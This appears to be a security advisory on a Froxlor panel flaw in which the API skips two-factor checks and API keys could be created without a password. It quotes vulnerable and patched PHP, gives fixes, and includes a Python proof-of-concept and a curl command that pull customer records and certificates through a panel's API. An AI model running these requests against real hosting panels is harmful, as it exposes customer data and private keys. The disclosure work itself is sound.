Jun 3, 2026·5 min read·0 visits
Froxlor's API endpoint completely omits Two-Factor Authentication status checks. Attackers possessing an API key can execute administrative commands on 2FA-protected accounts. Additionally, versions prior to 2.3.7 allowed passwordless generation of these keys.
An architectural flaw in the Froxlor server administration control panel allows attackers to completely bypass Two-Factor Authentication (2FA) by issuing commands directly through the API. The API authentication routine in 'FroxlorRPC::validateAuth' fails to check the account's 2FA status, enabling arbitrary execution of administrative and customer actions. Furthermore, in versions prior to 2.3.7, API keys could be created without validating the current user password, exposing users to persistent backdoor access via session hijacking or CSRF.
Froxlor is an open-source server administration control panel used to manage web hosting environments. The software implements two main communication vectors for administrative and customer actions: an interactive web-based User Interface (UI) and a programmatic API endpoint located at /api.php.
While the web UI enforces Two-Factor Authentication (2FA) via time-based one-time passwords (TOTP), the programmatic API relies on key-based authentication. This multi-channel architecture introduces a security mismatch if authorization logic is not kept consistent across both channels.
The vulnerability cataloged under GHSA-F9RX-7WF7-JR36 details an authentication bypass flaw within the API subsystem. Because the API route does not verify the active 2FA state of an account, an attacker possessing an API key can completely bypass MFA, exposing a broad administrative attack surface.
The fundamental flaw resides within the API authentication routine implemented in lib/Froxlor/Api/FroxlorRPC.php inside the private static method validateAuth.
When a request is submitted to /api.php, authentication parameters are evaluated. The verification routine queries the database to match the incoming key and secret, verifying permissions and expiration parameters:
private static function validateAuth(string $key, string $secret): bool
{
$sel_stmt = Database::prepare("
SELECT ak.*, a.api_allowed as admin_api_allowed,
c.api_allowed as cust_api_allowed, c.deactivated
FROM `api_keys` ak
LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
WHERE `apikey` = :ak AND `secret` = :as
");
// ... checks expiration and permissions ...
}This validation process confirms key validity but completely neglects the type_2fa column or TOTP state of the associated user. Thus, the database query checks permission flags but omits multi-factor authentication constraints.
This behavior is compounded by a flaw in api_keys.php where users could generate API keys without re-entering their account password. Consequently, an attacker utilizing Cross-Site Request Forgery (CSRF) or a hijacked session could generate persistent API credentials to establish a permanent backdoor.
In versions of Froxlor prior to 2.3.7, creating a new API key in api_keys.php only required a simple POST request with a confirmation token, lacking authentication checks:
// Vulnerable logic in api_keys.php
} elseif ($action == 'add') {
if (Request::post('send') == 'send') {
$ins_stmt = Database::prepare("
INSERT INTO `" . TABLE_API_KEYS . "` SET
`apikey` = :key, `secret` = :secret, `adminid` = :aid, `customerid` = :cid, `valid_until` = '-1', `allowed_from` = ''
");To remediate this key-generation vector, the maintainers implemented password verification inside the key generation path of version 2.3.7:
// Patched logic in api_keys.php
$user_passwd = Request::post('user_password');
if (empty($user_passwd)) {
Response::dynamicError(lng('panel.noauthentication'));
}
if ($userinfo['adminsession']) {
$table = "`" . TABLE_PANEL_ADMINS . "`";
$uid = 'adminid';
} else {
$table = "`" . TABLE_PANEL_CUSTOMERS . "`";
$uid = 'customerid';
}
if (\Froxlor\System\Crypt::validatePasswordLogin($userinfo, $user_passwd, $table, $uid)) {
// Cryptographically secure API key generation follows
$key = hash('sha256', openssl_random_pseudo_bytes(64 * 64));
$secret = hash('sha512', openssl_random_pseudo_bytes(64 * 64 * 4));
// ... database insert executes ...
} else {
Response::dynamicError(lng('panel.authenticationfailed'));
}While this fix prevents unauthorized creation of new API keys via CSRF or hijacked sessions, the underlying architectural bypass remains if an existing API key is exposed. The API route itself does not incorporate a secondary factor, meaning any leaked key continues to offer 2FA-bypass access by design.
An attacker can exploit this vulnerability by routing requests directly to the API endpoint, completely bypassing the interactive 2FA checks on /index.php.
To demonstrate this bypass, an attacker can use the following Python script to retrieve customer listings from a 2FA-protected account without supplying a TOTP token:
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_url> <api_key> <api_secret>")
sys.exit(1)
target = sys.argv[1].rstrip('/')
key = sys.argv[2]
secret = sys.argv[3]
api_url = f"{target}/api.php"
payload = {"command": "Customers.listing", "params": {}}
try:
r = requests.post(api_url, auth=(key, secret), json=payload, verify=False, timeout=10)
data = r.json()
if "data" in data and "list" in data["data"]:
print(f"[+] Success: Bypassed 2FA. Retrieved records:")
for customer in data["data"]["list"]:
print(f"Username: {customer.get('loginname')} | Email: {customer.get('email')}")
except Exception as e:
print(f"[-] Error: {e}")Alternatively, direct commands can be sent using curl to extract database credentials or certificates:
curl -s -u "KEY:SECRET" -H "Content-Type: application/json" -d '{"command":"Certificates.listing","params":{}}' https://panel.example.com/api.phpThe impact of this authentication bypass is high because the Froxlor API exposes more than 165 functions. This exposure grants a threat actor extensive read and write capabilities over the hosting platform.
Attackers can modify DNS zone files to conduct domain hijacking, read database access details, alter mail routing, and exfiltrate customer databases. Access to SSL private keys is also possible through the API.
In multi-tenant shared-hosting deployments, compromising a single administrative credential grants full control over other hosted customers, making this vulnerability highly consequential for hosting providers.
To fully resolve this security issue, administrators must upgrade Froxlor to version 2.3.7 or higher, which introduces password-validation checks for API key generation.
After applying the update, administrators must conduct an audit of all active API keys. It is recommended to revoke and regenerate existing API credentials, particularly for accounts utilizing 2FA.
Where upgrading cannot be performed immediately, administrators should implement IP whitelisting or disable access to /api.php at the web server configuration level to restrict API usage to authorized origins.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Froxlor Froxlor | < 2.3.7 | 2.3.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-287 |
| Attack Vector | Network |
| CVSS v3.1 | 8.1 |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The software does not prove or insufficiently proves that a user is who they claim to be.
An unauthenticated remote code execution (RCE) vulnerability exists in the browserstack-runner npm package (versions up to and including 0.9.5). The flaw lies in the /_log HTTP endpoint handler, which evaluates user-supplied input within a non-secure Node.js VM context combined with dynamic eval() execution. Network-adjacent attackers can exploit this behavior to escape the sandbox and execute arbitrary system commands on the host machine.
An Uncontrolled Resource Consumption vulnerability (CWE-400) affects React Router in Framework Mode and Remix server runtimes. A remote, unauthenticated attacker can trigger unbounded recursive path expansion in the manifest resolution component, leading to 100% CPU exhaustion and complete Denial of Service. The vulnerability arises because the server does not enforce depth limits when parsing deeply nested path segments in requests directed to the dynamic manifest evaluation endpoints. This blocks the single-threaded Node.js event loop, preventing the processing of subsequent client requests. The issue is resolved in react-router v7.15.0 and @remix-run/server-runtime v2.17.5. Applications using React Router in client-side-only Declarative or Data modes are unaffected.
An open redirect vulnerability exists in the react-router library due to insufficient validation of double-slash prefix paths in the redirect programmatic navigation helper. Attackers can leverage this to bypass standard destination validation checks and redirect users to malicious domains. This occurs because browsers interpret double-slash URLs as protocol-relative targets rather than relative application paths.
CVE-2022-31114 is a Reflected Cross-Site Scripting (XSS) vulnerability affecting the popular administrative panel package 'backpack/crud'. The flaw is rooted in the unsafe, raw rendering of PHP exception messages within the default error templates. When an unescaped exception message reflects malicious user-provided input, arbitrary JavaScript can execute within an administrator's browser session.
CVE-2024-52011 is a critical command injection vulnerability in the ViteJS launch-editor utility (versions prior to 2.9.0) affecting Windows environments. Unsanitized command-line arguments can lead to remote code execution on a developer workstation via cross-origin requests targeting the local development server.
A critical OS command injection vulnerability exists in Samba's Windows Internet Name Service (WINS) server implementation when configured to run as an Active Directory Domain Controller (AD DC). Unsanitized NetBIOS name data extracted from WINS registration packets is directly concatenated into a shell command invocation and executed via Samba's wins hook parameter.